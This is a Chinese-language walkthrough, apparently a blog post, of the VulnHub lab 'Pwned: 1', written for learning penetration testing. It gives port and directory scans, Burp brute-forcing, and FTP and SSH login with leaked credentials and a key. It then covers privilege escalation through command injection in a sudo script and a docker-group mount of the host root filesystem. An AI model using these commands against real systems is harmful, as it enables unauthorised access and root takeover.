vulnhub Pwned: 1

渗透思路:

nmap扫描端口 ---- gobuster扫描网站目录 ---- burp爆破网站目录 ---- 网站源代码泄露ftp用户名密码 ---- ariana用户用id_rsa进行ssh登录 ---- sudo bash脚本提权到selena ---- 利用docker越权查看文件

环境信息:

靶机:192.168.101.107

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sC -sV -p- 192.168.101.107

扫描到21(ftp)、22(ssh)、80(http)端口

2、gobuster扫描网站目录

gobuster dir -u http://192.168.101.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描到/nothing和/hidden_text

3、burp爆破网站目录

http://192.168.101.107/hidden_text/是一个目录,其中有一个文件secret.dic,看上去是个目录字典

http://192.168.101.107/hidden_text/secret.dic

用burp的intruder模块对网站目录进行爆破,爆破位置如下图所示

payload粘贴http://192.168.101.107/hidden_text/secret.dic中的内容

不要勾选URL-encode these characters

按Start attack开始爆破,爆破结果中只有/pwned.vuln状态码是301,其他都是404

4、网页源代码泄露ftp用户名密码

访问http://192.168.101.107/pwned.vuln/,是一个登录页面,查看网页源代码发现被注释掉的php代码

上图红框中的代码泄露了用户名为ftpuser,密码为B0ss_B!TcH

但这对用户名密码无法用于网站登录,因此想到尝试ftp登录

ftp 192.168.101.107

用户名和密码分别为ftpuser和B0ss_B!TcH,登录成功,发现share文件夹,进入share文件夹后发现两个文件:

id_rsa和note.txt

下载这两个文件

ftp> get note.txt
ftp> get id_rsa

5、ariana用户用id_rsa进行ssh登录

note.txt泄露了用户名ariana,可以猜测id_rsa属于ariana

ariana进行ssh登录

ssh -i id_rsa ariana@192.168.101.107

登录成功,得到第一个flag

6、sudo bash脚本提权到selena

执行sudo -l发现ariana可以在不需要输入密码的情况下以selena的身份sudo执行/home/messenger.sh

/home/messenger.sh内容如下,$msg(也就是提示符"Enter message for $name :"之后输入的内容)将被作为bash命令执行

#!/bin/bash

clear
echo "Welcome to linux.messenger "
		echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
		echo ""
echo "$users"
		echo ""
read -p "Enter username to send message : " name 
		echo ""
read -p "Enter message for $name :" msg
		echo ""
echo "Sending message to $name "

$msg 2> /dev/null

		echo ""
echo "Message sent to $name :) "
		echo ""

sudo执行 /home/messenger.sh

sudo -u selena /home/messenger.sh

在提示"Enter username to send message : "后面随便输入些字母,然后在提示"Enter message for $name :"之后输入bash,即可进入selena的shell。

在/home/selena/user2.txt中有第二个flag

7、利用docker提权到root

同时注意到,selena是docker组的用户。

docker | GTFOBins中可以看到,当用户属于docker组时,有运行docker的权限,从而可以利用docker命令将靶机根目录挂载到靶机内某个新容器的目录下,进而利用容器的root用户越权查看靶机上的文件。

执行如下命令将靶机的根目录挂载到alpine镜像(不一定非要用这个镜像,只要是靶机上有的镜像就行,靶机上没有也可以从攻击机上下载)创建的新容器的/mnt目录,并将/mnt目录设置为根目录

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在/root/root.txt中有第三个flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值